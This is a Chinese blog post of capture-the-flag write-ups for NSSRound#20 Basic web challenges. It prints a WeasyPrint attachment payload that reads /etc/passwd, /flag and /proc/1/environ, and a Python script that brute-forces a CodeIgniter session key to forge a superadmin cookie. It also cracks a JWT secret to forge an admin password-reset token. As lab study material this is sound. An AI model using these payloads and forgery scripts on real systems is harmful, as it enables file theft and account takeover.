NSSRound#20 Basic

真亦假,假亦真

dirsearch扫描到flag,直接访问即可得到

在这里插入图片描述

CSDN_To_PDF V1.2

网页如下:

在这里插入图片描述

这题是python环境,并且源代码也没有提供出来,只能黑盒测试了,一开始我尝试了如下url

http://127.0.0.1
http://localhost
http://vbsip:8989

它都会显示无效的url,说明url应该是设置了白名单,我们必须要带有一个关键字才能满足条件

下面我们尝试找一个csdn博客,这里我就用自己的博客链接做测试了

https://blog.csdn.net/weixin_45906533/article/details/136620302?spm=1001.2014.3001.5501

发现可以转成功

在这里插入图片描述

那也就是说,关键字就是在csdn博客的链接里,经过测试,发现似乎只要带有blog.csdn.net关键字就可以构成有效的url

下面我们拿vps测试一下

在这里插入图片描述

构成有效的url了,并且我们可以发现它使用了WeasyPrint模块,这个模块不知道是做什么的,百度一下看看

在这里插入图片描述

可以将html文档转成pdf文件,但是不知道是啥漏洞,搜了一下漏洞库发现 CVE-2024-28184

在这里插入图片描述

可以将本地也就是靶机场景里任意文件内容附加到生成的pdf文档中

那么下面我们就可以通过html的link标签进行本地文件的读取

先创建一个目录名为blog.csdn.net

然后在目录下构造如下html页面123.html

<html>
        <head>
        <title>ceshi</title>
        </head>
        <body>
                <link rel="alternate" href="file///app/app.py">
        </body>
</html>

链接为:

http://60.204.170.160:8989/blog.csdn.net/123.html

但是发现,报错了

Error generating PDF

在这里插入图片描述

我们看一下vps里面的报错内容

在这里插入图片描述

html后缀没了,应该是被替换了,我们使用双写绕过

链接为:

http://60.204.170.160:8989/blog.csdn.net/123.hthtmlml

在这里插入图片描述

并且要注意

python3 -m http.server 8989

python在开启http服务的时候,一定要blog.csdn.net上一级目录下开启

但是发现似乎有点问题,下载的pdf居然还是上一个请求我的博客的页面

应该是html页面出现了问题,然后我尝试搜索了一下WeayPrint漏洞复现,发现youtube上面的有个博主复现过这个漏洞

https://www.youtube.com/watch?v=t5fB6OZsR6c

在这里插入图片描述

<link rel=attachment href="file:///etc/passwd">

我们修改html文件接着尝试

在这里插入图片描述

下载的页面是空白的,rel=attachment,/etc/passwd是以附件的形式附注在pdf文件里的,所以我们使用binwalk分离,或者foremost

在这里插入图片描述

成功读取了,那我们尝试读取flag文件

<link rel=attachment href="file:///flag">

在这里插入图片描述

居然没有,那就读取一下环境变量文件

/proc/self/environ

发现这个也不行,换成/proc/1/environ才可以

在这里插入图片描述

源代码如下:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os

app = Flask(__name__)

URL_REGEX = re.compile(
    r'http(s)?://'  # http or https
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    if "blog.csdn.net" not in url:
        return False

    return True


@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
    if request.method == 'POST':
        url = request.form.get('url')
        # 当我不知道weasyprint会解析恶意 <link attachment=xxx>?
        url = url.replace("html", "")
        if is_valid_url(url):
            try:
                html = HTML(url=url)
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'

                return response
            except Exception as e:
                return f'Error generating PDF', 500
        else:
            return f'Invalid URL! Target web address: ' + url
    else:
        return render_template("index.html"), 200


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

baby-Codeigniter

访问网页是一个登陆页面

在这里插入图片描述

直接admin/123456就可以登陆进去了

进去以后是一个文件上传页面,并且此页面是php编写的,我们尝试上传文件

返回

You are not a super administrator!!!

我们不是administrator

意思就是说我们需要是administrator用户才可以上传文件

抓包看看请求cookie

在这里插入图片描述

url解码看到会更清晰

a:9:{s:10:"session_id";s:32:"404cc8bf208cf3bc12f73f6ffb7abb66";s:10:"ip_address";s:12:"36.7.107.206";s:10:"user_agent";s:111:"Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/123.0.0.0+Safari/537.36";s:13:"last_activity";i:1712294067;s:9:"user_data";s:0:"";s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:12:"is_logged_in";b:1;s:10:"superadmin";b:0;}1d40a26e4ae5e00c2176092597e6e1327d568ff8

我们去上传文件的页面,抓包然后修改一下关键字

"superadmin";b:0;
改成
"superadmin";b:1;

但是似乎不行,会跳转会登陆页面,那我们就根据cookie的关键字去搜索一下是什么框架下的cookie认证机制

https://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/

通过分析,可以了解到,也就是将序列化数据+密钥,进行md5或sha1、sha256加密cookie,防止篡改

注意这题的hash值是40位的,是sha1hash加密的

在这里插入图片描述

import hashlib
import hmac
import time
from urllib import parse
def cracksecret(cookie,password):
    length=len(cookie)-40
    hashstr=cookie[length:]
    ser_cookie=cookie[:length]
    print(password)
    hmacstr=hmac.new(password.encode('utf-8'),ser_cookie.encode('utf-8'),hashlib.sha1).hexdigest()
    return hmacstr==hashstr
def Encrypt(cookie,password):
    length=len(cookie)-40
    cookie_=cookie[:length].replace('"superadmin";b:0','"superadmin";b:1')
    hmacstr=hmac.new(password.encode('utf-8'),cookie_.encode('utf-8'),hashlib.sha1).hexdigest()
    return parse.quote_plus(cookie_+hmacstr)
if __name__=='__main__':
    cookie="a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2250943f22cb9e29777454f6dd967a305f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%2236.7.107.206%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1712298631%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D2bb5a3bf91c1f11554573cb226b93e6fa1ae81c0"
    with open('./password.txt',encoding='utf-8') as f:
        passwords=f.readlines()
    print("[+]Starting decoding...")
    for password in passwords:
        password=password.strip("\n")#记得要把回车去掉,,,
        result=cracksecret(parse.unquote_plus(cookie), password)
        if result==True:
            print("[+]Success!: "+password)
            encryptcookie=Encrypt(parse.unquote_plus(cookie), password)
            print(encryptcookie)
            exit(0)
        else:
            print("[-]Testing: "+password)


# import itertools
# strs = "1234567890"
# temp = itertools.permutations(strs,6)
# file = open('password.txt','a')
# for i in temp:
#    file.write("".join(i)+"\n")
# file.close()

得到如下数据

[+]Starting decoding...
123456
[+]Success!: 123456
a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2250943f22cb9e29777454f6dd967a305f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%2236.7.107.206%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1712298631%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A1%3B%7Dce1af813c0fb4f1a497ec5adf9f27044d84a1ad4

然后替换cookie上传文件即可

在这里插入图片描述

后面直接执行命令查看flag内容即可

如果是md5加密可以使用下面的工具进行暴力破解

https://github.com/p0dalirius/CodeIgniter-session-unsign/tree/main

在这里插入图片描述

组合拳!

访问网页

在这里插入图片描述

可以进行登陆,注册用户,我使用自己的邮箱进行注册,然后登陆

在这里插入图片描述

会显示权限过低,但是目前没有发现有cookie值的存在,应该是判断了只能admin用户登陆,我们再去看看忘记密码页面

在这里插入图片描述

输入自己的邮箱进行发送,然后就会将密码重置的邮件发送qq邮箱里,并且带有jwt

在这里插入图片描述

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieXVzaGFveXNAcXEuY29tIiwiZW1haWwiOiJ5dXNoYW95c0BxcS5jb20iLCJ0eXBlIjozfQ.YdybtKSIIAogkXk2WmyEZM57Il6CQ3NyUJsXaLwwrV4

看着很短,使用jwt爆破工具爆破一下

┌──(root㉿Ten)-[~/tools/c-jwt-cracker]
└─# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieXVzaGFveXNAcXEuY29tIiwiZW1haWwiOiJ5dXNoYW95c0BxcS5jb20iLCJ0eXBlIjozfQ.YdybtKSIIAogkXk2WmyEZM57Il6CQ3NyUJsXaLwwrV4
Secret is "4tOQ"

得到了密钥,我们到jwt.io网站看看

在这里插入图片描述

那我们直接篡改成Administrator@163.com

在这里插入图片描述

然后通过上面qq邮箱里面的链接,我们直接修改成篡改后的jwt值,然后访问

http://node6.anna.nssctf.cn:28328/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQWRtaW5pc3RyYXRvckAxNjMuY29tIiwiZW1haWwiOiJBZG1pbmlzdHJhdG9yQDE2My5jb20iLCJ0eXBlIjozfQ.68Q8kJk7YDW5lWjwrOW6Ez7iWg85hd2MaDbuYV_U_tk

在这里插入图片描述

但是重置完显示token错误

在这里插入图片描述

可能是用户名的问题,我们修改成admin再次尝试

在这里插入图片描述

这样就可以修改成功了,然后我们使用修改后的密码进行登陆

使用admin/123456进行登陆

在这里插入图片描述

在资源下载里面我们可以发现,可以更新任务内容,执行python代码

在这里插入图片描述

但是这个任务时间,我们无法掌控,固定死就是86400秒

所以我们就要想办法能不能绕过这个时间限制了,首先我们去抓包看看,每次更新任务都做了什么操作

在这里插入图片描述

都会去访问/server/getKey路由,然后返回一个keycode

我们去搜索一下js文件里面的keycode

在这里插入图片描述

搜索出来一共七个内容

							case 8:
                                if (o = r.keycode,
                                o || "string" === typeof o) {
                                    t.next = 11;
                                    break
                                }
                                return t.abrupt("return", !1);
                            case 11:
                                for (c = [],
                                l = 0; l < n.length; l++)
                                    u = 2 * l % o.length,
                                    d = parseInt(o.slice(u, u + 2), 16),
                                    c.push(n[l].charCodeAt() ^ d);
                                return f = e.from(c),
                                t.abrupt("return", f.toString("base64"));

通过这段代码,我们可以看得出,当keycode为string类型的时候,会跳转到11,然后进行一定的处理返回一串base64数据

我们现在这里打一个断点,这里可以去篡改n的值

在这里插入图片描述

然后点击更新任务后,就会停在这里,我们只要将base64通过控制台输入进去,然后修改一下时间就行了

在这里插入图片描述

来到控制台

在这里插入图片描述

然后回到source页面,点击

在这里插入图片描述

在调试的过程中就可以发现值已经被篡改了,并且我们会获得一个shell

在这里插入图片描述

  • 19
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ten^v^

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值